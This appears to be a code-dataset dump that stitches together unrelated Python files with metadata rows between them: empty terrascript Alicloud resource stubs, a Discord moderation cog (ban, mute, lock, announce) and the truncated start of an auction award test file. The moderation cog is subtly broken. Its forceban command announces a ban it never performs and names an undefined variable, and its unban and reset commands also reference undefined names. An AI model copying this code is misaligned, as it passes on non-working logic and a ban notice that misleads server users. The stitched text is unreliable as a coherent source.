3b9fb5ad77453d330fb0cd03524154a342c5d5dc
|
[
"BSD-2-Clause"
] | null | null | null |
terrascript/alicloud/r.py
|
vutsalsinghal/python-terrascript
|
3b9fb5ad77453d330fb0cd03524154a342c5d5dc
|
[
"BSD-2-Clause"
] | null | null | null |
terrascript/alicloud/r.py
|
vutsalsinghal/python-terrascript
|
3b9fb5ad77453d330fb0cd03524154a342c5d5dc
|
[
"BSD-2-Clause"
] | null | null | null |
# terrascript/alicloud/r.py
import terrascript
class alicloud_instance(terrascript.Resource):
pass
class alicloud_ram_role_attachment(terrascript.Resource):
pass
class alicloud_disk(terrascript.Resource):
pass
class alicloud_disk_attachment(terrascript.Resource):
pass
class alicloud_network_interface(terrascript.Resource):
pass
class alicloud_network_interface_attachment(terrascript.Resource):
pass
class alicloud_snapshot(terrascript.Resource):
pass
class alicloud_snapshot_policy(terrascript.Resource):
pass
class alicloud_launch_template(terrascript.Resource):
pass
class alicloud_security_group(terrascript.Resource):
pass
class alicloud_security_group_rule(terrascript.Resource):
pass
class alicloud_db_database(terrascript.Resource):
pass
class alicloud_db_account(terrascript.Resource):
pass
class alicloud_db_account_privilege(terrascript.Resource):
pass
class alicloud_db_backup_policy(terrascript.Resource):
pass
class alicloud_db_connection(terrascript.Resource):
pass
class alicloud_db_read_write_splitting_connection(terrascript.Resource):
pass
class alicloud_db_instance(terrascript.Resource):
pass
class alicloud_mongodb_instance(terrascript.Resource):
pass
class alicloud_mongodb_sharding_instance(terrascript.Resource):
pass
class alicloud_gpdb_instance(terrascript.Resource):
pass
class alicloud_gpdb_connection(terrascript.Resource):
pass
class alicloud_db_readonly_instance(terrascript.Resource):
pass
class alicloud_ess_scaling_group(terrascript.Resource):
pass
class alicloud_ess_scaling_configuration(terrascript.Resource):
pass
class alicloud_ess_scaling_rule(terrascript.Resource):
pass
class alicloud_ess_schedule(terrascript.Resource):
pass
class alicloud_ess_scheduled_task(terrascript.Resource):
pass
class alicloud_ess_attachment(terrascript.Resource):
pass
class alicloud_ess_lifecycle_hook(terrascript.Resource):
pass
class alicloud_ess_notification(terrascript.Resource):
pass
class alicloud_ess_alarm(terrascript.Resource):
pass
class alicloud_ess_scalinggroup_vserver_groups(terrascript.Resource):
pass
class alicloud_vpc(terrascript.Resource):
pass
class alicloud_nat_gateway(terrascript.Resource):
pass
class alicloud_nas_file_system(terrascript.Resource):
pass
class alicloud_nas_mount_target(terrascript.Resource):
pass
class alicloud_nas_access_group(terrascript.Resource):
pass
class alicloud_nas_access_rule(terrascript.Resource):
pass
class alicloud_subnet(terrascript.Resource):
pass
class alicloud_vswitch(terrascript.Resource):
pass
class alicloud_route_entry(terrascript.Resource):
pass
class alicloud_route_table(terrascript.Resource):
pass
class alicloud_route_table_attachment(terrascript.Resource):
pass
class alicloud_snat_entry(terrascript.Resource):
pass
class alicloud_forward_entry(terrascript.Resource):
pass
class alicloud_eip(terrascript.Resource):
pass
class alicloud_eip_association(terrascript.Resource):
pass
class alicloud_slb(terrascript.Resource):
pass
class alicloud_slb_listener(terrascript.Resource):
pass
class alicloud_slb_attachment(terrascript.Resource):
pass
class alicloud_slb_backend_server(terrascript.Resource):
pass
class alicloud_slb_server_group(terrascript.Resource):
pass
class alicloud_slb_master_slave_server_group(terrascript.Resource):
pass
class alicloud_slb_rule(terrascript.Resource):
pass
class alicloud_slb_acl(terrascript.Resource):
pass
class alicloud_slb_ca_certificate(terrascript.Resource):
pass
class alicloud_slb_server_certificate(terrascript.Resource):
pass
class alicloud_oss_bucket(terrascript.Resource):
pass
class alicloud_oss_bucket_object(terrascript.Resource):
pass
class alicloud_ons_instance(terrascript.Resource):
pass
class alicloud_ons_topic(terrascript.Resource):
pass
class alicloud_ons_group(terrascript.Resource):
pass
class alicloud_dns_record(terrascript.Resource):
pass
class alicloud_dns(terrascript.Resource):
pass
class alicloud_dns_group(terrascript.Resource):
pass
class alicloud_key_pair(terrascript.Resource):
pass
class alicloud_key_pair_attachment(terrascript.Resource):
pass
class alicloud_kms_key(terrascript.Resource):
pass
class alicloud_ram_user(terrascript.Resource):
pass
class alicloud_ram_account_password_policy(terrascript.Resource):
pass
class alicloud_ram_access_key(terrascript.Resource):
pass
class alicloud_ram_login_profile(terrascript.Resource):
pass
class alicloud_ram_group(terrascript.Resource):
pass
class alicloud_ram_role(terrascript.Resource):
pass
class alicloud_ram_policy(terrascript.Resource):
pass
class alicloud_ram_alias(terrascript.Resource):
pass
class alicloud_ram_account_alias(terrascript.Resource):
pass
class alicloud_ram_group_membership(terrascript.Resource):
pass
class alicloud_ram_user_policy_attachment(terrascript.Resource):
pass
class alicloud_ram_role_policy_attachment(terrascript.Resource):
pass
class alicloud_ram_group_policy_attachment(terrascript.Resource):
pass
class alicloud_container_cluster(terrascript.Resource):
pass
class alicloud_cs_application(terrascript.Resource):
pass
class alicloud_cs_swarm(terrascript.Resource):
pass
class alicloud_cs_kubernetes(terrascript.Resource):
pass
class alicloud_cs_managed_kubernetes(terrascript.Resource):
pass
class alicloud_cr_namespace(terrascript.Resource):
pass
class alicloud_cr_repo(terrascript.Resource):
pass
class alicloud_cdn_domain(terrascript.Resource):
pass
class alicloud_cdn_domain_new(terrascript.Resource):
pass
class alicloud_cdn_domain_config(terrascript.Resource):
pass
class alicloud_router_interface(terrascript.Resource):
pass
class alicloud_router_interface_connection(terrascript.Resource):
pass
class alicloud_ots_table(terrascript.Resource):
pass
class alicloud_ots_instance(terrascript.Resource):
pass
class alicloud_ots_instance_attachment(terrascript.Resource):
pass
class alicloud_cms_alarm(terrascript.Resource):
pass
class alicloud_pvtz_zone(terrascript.Resource):
pass
class alicloud_pvtz_zone_attachment(terrascript.Resource):
pass
class alicloud_pvtz_zone_record(terrascript.Resource):
pass
class alicloud_log_project(terrascript.Resource):
pass
class alicloud_log_store(terrascript.Resource):
pass
class alicloud_log_store_index(terrascript.Resource):
pass
class alicloud_log_machine_group(terrascript.Resource):
pass
class alicloud_logtail_config(terrascript.Resource):
pass
class alicloud_logtail_attachment(terrascript.Resource):
pass
class alicloud_fc_service(terrascript.Resource):
pass
class alicloud_fc_function(terrascript.Resource):
pass
class alicloud_fc_trigger(terrascript.Resource):
pass
class alicloud_vpn_gateway(terrascript.Resource):
pass
class alicloud_vpn_customer_gateway(terrascript.Resource):
pass
class alicloud_vpn_connection(terrascript.Resource):
pass
class alicloud_ssl_vpn_server(terrascript.Resource):
pass
class alicloud_ssl_vpn_client_cert(terrascript.Resource):
pass
class alicloud_cen_instance(terrascript.Resource):
pass
class alicloud_cen_instance_attachment(terrascript.Resource):
pass
class alicloud_cen_bandwidth_package(terrascript.Resource):
pass
class alicloud_cen_bandwidth_package_attachment(terrascript.Resource):
pass
class alicloud_cen_bandwidth_limit(terrascript.Resource):
pass
class alicloud_cen_route_entry(terrascript.Resource):
pass
class alicloud_cen_instance_grant(terrascript.Resource):
pass
class alicloud_kvstore_instance(terrascript.Resource):
pass
class alicloud_kvstore_backup_policy(terrascript.Resource):
pass
class alicloud_datahub_project(terrascript.Resource):
pass
class alicloud_datahub_subscription(terrascript.Resource):
pass
class alicloud_datahub_topic(terrascript.Resource):
pass
class alicloud_mns_queue(terrascript.Resource):
pass
class alicloud_mns_topic(terrascript.Resource):
pass
class alicloud_havip(terrascript.Resource):
pass
class alicloud_mns_topic_subscription(terrascript.Resource):
pass
class alicloud_havip_attachment(terrascript.Resource):
pass
class alicloud_api_gateway_api(terrascript.Resource):
pass
class alicloud_api_gateway_group(terrascript.Resource):
pass
class alicloud_api_gateway_app(terrascript.Resource):
pass
class alicloud_api_gateway_app_attachment(terrascript.Resource):
pass
class alicloud_api_gateway_vpc_access(terrascript.Resource):
pass
class alicloud_common_bandwidth_package(terrascript.Resource):
pass
class alicloud_common_bandwidth_package_attachment(terrascript.Resource):
pass
class alicloud_drds_instance(terrascript.Resource):
pass
class alicloud_elasticsearch_instance(terrascript.Resource):
pass
class alicloud_actiontrail(terrascript.Resource):
pass
class alicloud_cas_certificate(terrascript.Resource):
pass
class alicloud_ddoscoo_instance(terrascript.Resource):
pass
class alicloud_network_acl(terrascript.Resource):
pass
class alicloud_network_acl_attachment(terrascript.Resource):
pass
class alicloud_network_acl_entries(terrascript.Resource):
pass
| 21.262332
| 73
| 0.812823
| 1,101
| 9,483
| 6.673933
| 0.131698
| 0.260071
| 0.460125
| 0.556342
| 0.926375
| 0.906777
| 0.524496
| 0.10343
| 0
| 0
| 0
| 0
| 0.12475
| 9,483
| 445
| 74
| 21.310112
| 0.885301
| 0.002636
| 0
| 0.498305
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.501695
| 0.00339
| 0
| 0.501695
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 8
|
7ae5d2351612640a030f27a713a10a910ceea12f
| 22,763
|
py
|
Python
|
cogs/mod.py
|
jeraldlyh/horizon
|
8898019d79ed168b991a649c1f84b7d1ec4c433d
|
[
"Apache-2.0"
] | 2
|
2021-07-06T10:42:02.000Z
|
2021-07-06T11:16:53.000Z
|
cogs/mod.py
|
jeraldlyh/horizon
|
8898019d79ed168b991a649c1f84b7d1ec4c433d
|
[
"Apache-2.0"
] | null | null | null |
cogs/mod.py
|
jeraldlyh/horizon
|
8898019d79ed168b991a649c1f84b7d1ec4c433d
|
[
"Apache-2.0"
] | null | null | null |
import asyncio
import discord
import datetime
import pytz
import random
import colorsys
import os
from discord.ext import commands
from cogs.utils.embed import passembed
from cogs.utils.embed import errorembed
class Mod(commands.Cog):
def __init__(self, bot):
self.bot = bot
self.case = {}
def check_me(ctx):
return ctx.message.author.id == os.getenv("OWNER_ID")
# Purge message
@commands.command()
@commands.has_any_role('Server Moderator')
async def purge(self, ctx, amount=100):
amount = int(amount)
await ctx.channel.purge(limit=amount+1)
pembed = passembed(description='{0} messages have been deleted.'.format(amount))
await ctx.send(embed=pembed, delete_after=25)
@purge.error
async def purge_error(self, ctx, error):
if isinstance(error, commands.CheckFailure):
return
# Ban command
@commands.command()
@commands.has_any_role('Server Moderator')
async def ban(self, ctx, user: discord.Member, *, reason: str=None):
if reason is None:
reason = 'no reason'
await user.ban(reason=reason)
pembed = passembed(description='{0} has been banned by {1} due to {2}.'.format(user, ctx.message.author, reason))
await ctx.send(embed=pembed)
# Logging
for channel in ctx.guild.channels:
if channel.name == 'mod-logs':
guild_id = ctx.message.guild.id
if guild_id in self.case:
self.case[guild_id]+=1
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
embed.set_author(name='Case #{0} | Ban | {1}'.format(int(self.case.get(guild_id)), user), icon_url=user.avatar_url)
embed.add_field(name='User',value='{0}'.format(user.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(ctx.message.author.mention), inline=True)
embed.add_field(name='Reason', value='{0}'.format(reason), inline=True)
embed.set_footer(text='ID: {0}'.format(user.id))
await channel.send(embed=embed)
else:
self.case[guild_id]=0
self.case[guild_id]+=1
print(self.case)
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
embed.set_author(name='Case #{0} | Ban | {1}'.format(int(self.case.get(guild_id)), user), icon_url=user.avatar_url)
embed.add_field(name='User',value='{0}'.format(user.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(ctx.message.author.mention), inline=True)
embed.add_field(name='Reason', value='{0}'.format(reason), inline=True)
embed.set_footer(text='ID: {0}'.format(user.id))
await channel.send(embed=embed)
@ban.error
async def ban_error(self, ctx, error):
if isinstance(error, commands.MissingRequiredArgument):
eembed = errorembed(description='Please indicate the User you wish to ban.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.BadArgument):
eembed = errorembed(description='Invalid User. Please tag the User you wish to ban.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.CheckFailure):
return
# Force ban command
@commands.command()
@commands.has_any_role('Server Moderator')
async def forceban(self, ctx, id: int, *, reason: str=None):
if reason is None:
reason = 'no reason'
try:
limitedUser = await self.bot.fetch_user(id)
pembed = passembed(description='{0} has been banned by {1} due to {2}.'.format(user, ctx.message.author, reason))
await ctx.send(embed=pembed)
except Exception as e:
if 'Unknown User' in str(e):
eembed = errorembed(description='User ID could not be found. Please input a valid User ID.')
await ctx.send(embed=eembed)
@forceban.error
async def forceban_error(self, ctx, error):
if isinstance(error, commands.MissingRequiredArgument):
eembed = errorembed(description='Please indicate the User you wish to force ban.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.BadArgument):
eembed = errorembed(description='User ID is invalid. Please input a valid User ID.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.CheckFailure):
return
# Unban command
@commands.command()
@commands.has_any_role('Server Moderator')
async def unban(self, ctx, id: int):
try:
banuser = await self.bot.fetch_user(id)
await ctx.guild.unban(banuser)
pembed = passembed(description='{0} has been unbanned by {1} due to {2}.'.format(banuser, ctx.message.author, reason))
await ctx.send(embed=pembed)
except Exception as e:
if 'Unknown Ban' in str(e):
eembed = errorembed(description='{0} {1} is not banned in the server. Please check again.'.format(ctx.message.author.mention, banuser))
await ctx.send(embed=eembed)
elif 'Unknown User' in str(e):
eembed = errorembed(description='User ID could not be found. Please input a valid User ID.')
await ctx.send(embed=eembed)
# Logging
for channel in ctx.guild.channels:
if channel.name == 'mod-logs':
guild_id = ctx.message.guild.id
if guild_id in self.case:
self.case[guild_id]+=1
print(self.case)
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
embed.set_author(name='Case #{0} | Unban | {1}'.format(int(self.case.get(guild_id)), banuser), icon_url=banuser.avatar_url)
embed.add_field(name='User',value='{0}'.format(banuser.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(ctx.message.author.mention), inline=True)
embed.set_footer(text='ID: {0}'.format(banuser.id))
await channel.send(embed=embed)
else:
self.case[guild_id]=0
self.case[guild_id]+=1
print(self.case)
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
embed.set_author(name='Case #{0} | Unban | {1}'.format(int(self.case.get(guild_id)), banuser), icon_url=banuser.avatar_url)
embed.add_field(name='User',value='{0}'.format(banuser.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(ctx.message.author.mention), inline=True)
embed.set_footer(text='ID: {0}'.format(banuser.id))
await channel.send(embed=embed)
@unban.error
async def unban_error(self, ctx, error):
if isinstance(error, commands.MissingRequiredArgument):
eembed = errorembed(description='Please indicate the User ID you wish to unban.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.BadArgument):
eembed = errorembed(description='User ID is either not banned or invalid/not found. Please input a valid User ID.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.CheckFailure):
return
# Mute command
@commands.command()
@commands.has_any_role('Server Moderator')
async def mute(self, ctx, user: discord.Member, reason: str=None, time: int=5):
# If not specified, defaulted as 5 minutes.
secs = time * 60
if reason is None:
reason = 'no reason'
for channel in ctx.guild.channels:
if isinstance(channel, discord.TextChannel):
await ctx.channel.set_permissions(user, overwrite=discord.PermissionOverwrite(send_messages=False))
elif isinstance(channel, discord.VoiceChannel):
await ctx.channel.set_permissions(user, overwrite=discord.PermissionOverwrite(connect=False))
pembed = passembed(description='{0} has been muted for {1} minutes due to {2}.'.format(user, time, reason))
await ctx.send(embed=pembed)
# Logging
for channel in ctx.guild.channels:
if channel.name == 'mod-logs':
guild_id = ctx.message.guild.id
if guild_id in self.case:
self.case[guild_id]+=1
print(self.case)
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
embed.set_author(name='Case #{0} | Mute | {1}'.format(int(self.case.get(guild_id)), user.name), icon_url=user.avatar_url)
embed.add_field(name='User',value='{0}'.format(user.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(ctx.message.author.mention), inline=True)
embed.add_field(name='Length', value='{0} mins'.format(time), inline=True)
embed.add_field(name='Reason', value='{0}'.format(reason), inline=True)
embed.set_footer(text='ID: {0}'.format(user.id))
await channel.send(embed=embed)
else:
self.case[guild_id]=0
self.case[guild_id]+=1
print(self.case)
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
case = self.case.get(guild_id)
embed.set_author(name='Case #{0} | Mute | {1}'.format(int(self.case.get(guild_id)), user.name), icon_url=user.avatar_url)
embed.add_field(name='User',value='{0}'.format(user.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(ctx.message.author.mention), inline=True)
embed.add_field(name='Length', value='{0} mins'.format(time), inline=True)
embed.add_field(name='Reason', value='{0}'.format(reason), inline=True)
embed.set_footer(text='ID: {0}'.format(user.id))
await channel.send(embed=embed)
await asyncio.sleep(secs)
for channel in ctx.guild.channels:
if isinstance(channel, discord.TextChannel):
await ctx.channel.set_permissions(user, overwrite=None)
elif isinstance(channel, discord.VoiceChannel):
await ctx.channel.set_permissions(user, overwrite=None)
pembed = passembed(description='{0} has been unmuted in the server.'.format(user))
await ctx.send(embed=pembed)
# Logging
for channel in ctx.guild.channels:
if channel.name == 'mod-logs':
guild_id = ctx.message.guild.id
if guild_id in self.case:
self.case[guild_id]+=1
print(self.case)
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
embed.set_author(name='Case #{0} | Unmute | {1}'.format(int(self.case.get(guild_id)), user.name), icon_url=user.avatar_url)
embed.add_field(name='User',value='{0}'.format(user.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(self.bot.user.mention), inline=True)
embed.add_field(name='Reason', value='timeout', inline=True)
embed.set_footer(text='ID: {0}'.format(user.id))
await channel.send(embed=embed)
else:
self.case[guild_id]=0
self.case[guild_id]+=1
print(self.case)
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
case = self.case.get(guild_id)
embed.set_author(name='Case #{0} | Unmute | {1}'.format(int(self.case.get(guild_id)), user.name), icon_url=user.avatar_url)
embed.add_field(name='User',value='{0}'.format(user.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(self.bot.user.mention), inline=True)
embed.add_field(name='Reason', value='timeout', inline=True)
embed.set_footer(text='ID: {0}'.format(user.id))
await channel.send(embed=embed)
@mute.error
async def mute_error(self, ctx, error):
if isinstance(error, commands.MissingRequiredArgument):
eembed = errorembed(description='Please indicate the user you wish to mute.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.BadArgument):
eembed = errorembed(description='User could not be found. Please tag a valid User.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.CheckFailure):
return
# Unmute command
@commands.command()
@commands.has_any_role('Server Moderator')
async def unmute(self, ctx, user: discord.Member, reason: str=None):
if reason is None:
reason = 'no reason'
for channel in ctx.guild.channels:
if isinstance(channel, discord.TextChannel):
await ctx.channel.set_permissions(user, send_messages=None)
elif isinstance(channel, discord.VoiceChannel):
await ctx.channel.set_permissions(user, connect=None)
pembed = passembed(description='{0} has been unmuted in the server.'.format(user))
await ctx.send(embed=pembed)
# Logging
for channel in ctx.guild.channels:
if channel.name == 'mod-logs':
guild_id = ctx.message.guild.id
if guild_id in self.case:
self.case[guild_id]+=1
print(self.case)
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
embed.set_author(name='Case #{0} | Unmute | {1}'.format(int(self.case.get(guild_id)), user.name), icon_url=user.avatar_url)
embed.add_field(name='User',value='{0}'.format(user.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(ctx.message.author.mention), inline=True)
embed.add_field(name='Reason', value='{0}'.format(reason), inline=True)
embed.set_footer(text='ID: {0}'.format(user.id))
await channel.send(embed=embed)
else:
self.case[guild_id]=0
self.case[guild_id]+=1
print(self.case)
embed=discord.Embed(color=discord.Color.red())
embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
case = self.case.get(guild_id)
embed.set_author(name='Case #{0} | Unmute | {1}'.format(int(self.case.get(guild_id)), user.name), icon_url=user.avatar_url)
embed.add_field(name='User',value='{0}'.format(user.mention), inline=True)
embed.add_field(name='Moderator',value='{0}'.format(ctx.message.author.mention), inline=True)
embed.add_field(name='Reason', value='{0}'.format(reason), inline=True)
embed.set_footer(text='ID: {0}'.format(user.id))
await channel.send(embed=embed)
@unmute.error
async def unmute_error(self, ctx, error):
if isinstance(error, commands.MissingRequiredArgument):
eembed = errorembed(description='Please indicate the user you wish to unmute.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.BadArgument):
eembed = errorembed(description='User could not be found. Please tag a valid User.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.CheckFailure):
return
# Announce command
@commands.command()
@commands.has_any_role('Server Moderator')
async def announce(self, ctx, channel: discord.TextChannel, *,message: str):
await channel.send(message)
@announce.error
async def announce_error(self, ctx, error):
if isinstance(error, commands.MissingRequiredArgument):
eembed = errorembed(description='Please specify text channel in the command.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.BadArgument):
eembed = errorembed(description='Channel could not be found in the server. Please specify the correct text channel.')
return await ctx.send(embed=eembed)
elif 'message is a required argument' in str(error):
eembed = errorembed(description='Please indicate your message in the command.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.CheckFailure):
return
# Embed announce command
@commands.command()
@commands.has_any_role('Server Moderator')
async def emannounce(self, ctx, channel: discord.TextChannel, *, message: str):
r, g, b = tuple(int(x * 255) for x in colorsys.hsv_to_rgb(random.random(), 1, 1))
embed=discord.Embed(description="{0}".format(message), color=discord.Color((r << 16) + (g << 8) + b), icon_url=self.bot.user.avatar_url)
#embed.timestamp=datetime.datetime.now(tz=pytz.timezone('Asia/Singapore'))
#embed.set_footer(text='Announced by {0}'.format(ctx.message.author), icon_url=ctx.message.author.avatar_url)
await channel.send(embed=embed)
@emannounce.error
async def emannounce_error(self, ctx, error):
if isinstance(error, commands.MissingRequiredArgument):
eembed = errorembed(description='Please specify text channel in the command.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.BadArgument):
eembed = errorembed(description='Channel could not be found. Please specify the correct text channel.')
return await ctx.send(embed=eembed)
elif 'message is a required argument' in str(error):
eembed = errorembed(description='Please indicate your message in the command.')
return await ctx.send(embed=eembed)
elif isinstance(error, commands.CheckFailure):
return
# Set watching status
@commands.command()
@commands.check(check_me)
async def watching(self, ctx, *name: str):
type = discord.ActivityType.watching
activity = discord.Activity(name=name, type=type)
await self.bot.change_presence(activity=activity)
pembed = passembed(description='Status has been updated.')
await ctx.send(embed=pembed, delete_after=5)
#@watching.error
#async def watching_error(self, ctx, error):
# if isinstance(error, commands.CheckFailure):
# return
# Resets status of bot
@commands.command()
@commands.check(check_me)
async def reset(self, ctx):
await self.bot.change_presence(activity=discord.Activity(name=f'{str(len(bot.users))} users in FortniteAsia', type=2))
pembed = passembed(description='Status has been reseted.')
await ctx.send(embed=pembed, delete_after=5)
@reset.error
async def reset_error(self, ctx, error):
if isinstance(error, commands.CheckFailure):
return
# Lock command
@commands.command()
@commands.has_any_role('Server Moderator')
async def lock(self, ctx, channelname: discord.TextChannel=None):
overwrite = discord.PermissionOverwrite(send_messages=False)
# Can be used without specifying channel name
if channelname is None:
await ctx.message.channel.set_permissions(ctx.guild.default_role, overwrite=overwrite)
pembed = passembed(description='{0} has been locked by {1}.'.format(ctx.channel.mention, ctx.message.author))
await ctx.send(embed=pembed)
else:
await channelname.set_permissions(ctx.guild.default_role, overwrite=overwrite)
pembed = passembed(description='{0} has been locked by {1}.'.format(channelname.mention, ctx.message.author))
await ctx.send(embed=pembed)
@lock.error
async def lock_error(self, ctx, error):
if isinstance(error, commands.CheckFailure):
return
# Unlock command
@commands.command()
@commands.has_any_role('Server Moderator')
async def unlock(self, ctx, channelname: discord.TextChannel=None):
overwrite = discord.PermissionOverwrite(send_messages=True)
# Can be used without specifying channel name
if channelname is None:
await ctx.message.channel.set_permissions(ctx.guild.default_role, overwrite=overwrite)
pembed = passembed(description='{0} has been unlocked by {1}.'.format(ctx.channel.mention, ctx.message.author))
await ctx.send(embed=pembed)
else:
await channelname.set_permissions(ctx.guild.default_role, overwrite=overwrite)
pembed = passembed(description='{0} has been unlocked by {1}.'.format(channelname.mention, ctx.message.author))
await ctx.send(embed=pembed)
@unlock.error
async def unlock_error(self, ctx, error):
if isinstance(error, commands.CheckFailure):
return
# Adding the cog to main script
def setup(bot):
bot.add_cog(Mod(bot))
| 53.434272
| 151
| 0.608004
| 2,726
| 22,763
| 5.010638
| 0.077403
| 0.025185
| 0.028113
| 0.039827
| 0.880006
| 0.86961
| 0.843473
| 0.834468
| 0.820338
| 0.816531
| 0
| 0.007308
| 0.272635
| 22,763
| 425
| 152
| 53.56
| 0.81766
| 0.03062
| 0
| 0.734973
| 0
| 0
| 0.115029
| 0.000953
| 0
| 0
| 0
| 0
| 0
| 1
| 0.008197
| false
| 0.038251
| 0.027322
| 0.002732
| 0.114754
| 0.02459
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
bb34cdee6518392913151d55d57ff02e056fd79e
| 73,571
|
py
|
Python
|
openprocurement/auctions/insider/tests/award.py
|
oleksiyVeretiuk/openprocurement.auctions.insider
|
f380caa9b63dadbfe7bd1f9512e21c486a138457
|
[
"Apache-2.0"
] | null | null | null |
openprocurement/auctions/insider/tests/award.py
|
oleksiyVeretiuk/openprocurement.auctions.insider
|
f380caa9b63dadbfe7bd1f9512e21c486a138457
|
[
"Apache-2.0"
] | null | null | null |
openprocurement/auctions/insider/tests/award.py
|
oleksiyVeretiuk/openprocurement.auctions.insider
|
f380caa9b63dadbfe7bd1f9512e21c486a138457
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
import unittest
from datetime import timedelta
from openprocurement.api.models import get_now
from openprocurement.auctions.insider.tests.base import (
BaseInsiderAuctionWebTest, test_financial_bids,
test_insider_auction_data, test_financial_organization,
)
class InsiderAuctionCreateAwardTest(BaseInsiderAuctionWebTest):
initial_status = 'active.qualification'
initial_bids = test_financial_bids
def test_create_auction_award_invalid(self):
request_path = '/auctions/{}/awards'.format(self.auction_id)
response = self.app.post(request_path, 'data', status=415)
self.assertEqual(response.status, '415 Unsupported Media Type')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description':
u"Content-Type header should be one of ['application/json']", u'location': u'header', u'name': u'Content-Type'}
])
response = self.app.post(
request_path, 'data', content_type='application/json', status=422)
self.assertEqual(response.status, '422 Unprocessable Entity')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'No JSON object could be decoded',
u'location': u'body', u'name': u'data'}
])
response = self.app.post_json(request_path, 'data', status=422)
self.assertEqual(response.status, '422 Unprocessable Entity')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Data not available',
u'location': u'body', u'name': u'data'}
])
response = self.app.post_json(
request_path, {'not_data': {}}, status=422)
self.assertEqual(response.status, '422 Unprocessable Entity')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Data not available',
u'location': u'body', u'name': u'data'}
])
response = self.app.post_json(request_path, {'data': {
'invalid_field': 'invalid_value'}}, status=422)
self.assertEqual(response.status, '422 Unprocessable Entity')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Rogue field', u'location':
u'body', u'name': u'invalid_field'}
])
response = self.app.post_json(request_path, {
'data': {'suppliers': [{'identifier': 'invalid_value'}]}}, status=422)
self.assertEqual(response.status, '422 Unprocessable Entity')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': {u'identifier': [
u'Please use a mapping for this field or Identifier instance instead of unicode.']}, u'location': u'body', u'name': u'suppliers'}
])
response = self.app.post_json(request_path, {
'data': {'suppliers': [{'identifier': {'id': 0}}]}}, status=422)
self.assertEqual(response.status, '422 Unprocessable Entity')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': [{u'contactPoint': [u'This field is required.'], u'identifier': {u'scheme': [u'This field is required.']}, u'name': [u'This field is required.'], u'address': [u'This field is required.']}], u'location': u'body', u'name': u'suppliers'},
{u'description': [u'This field is required.'], u'location': u'body', u'name': u'bid_id'}
])
response = self.app.post_json(request_path, {'data': {'suppliers': [
{'name': 'name', 'identifier': {'uri': 'invalid_value'}}]}}, status=422)
self.assertEqual(response.status, '422 Unprocessable Entity')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
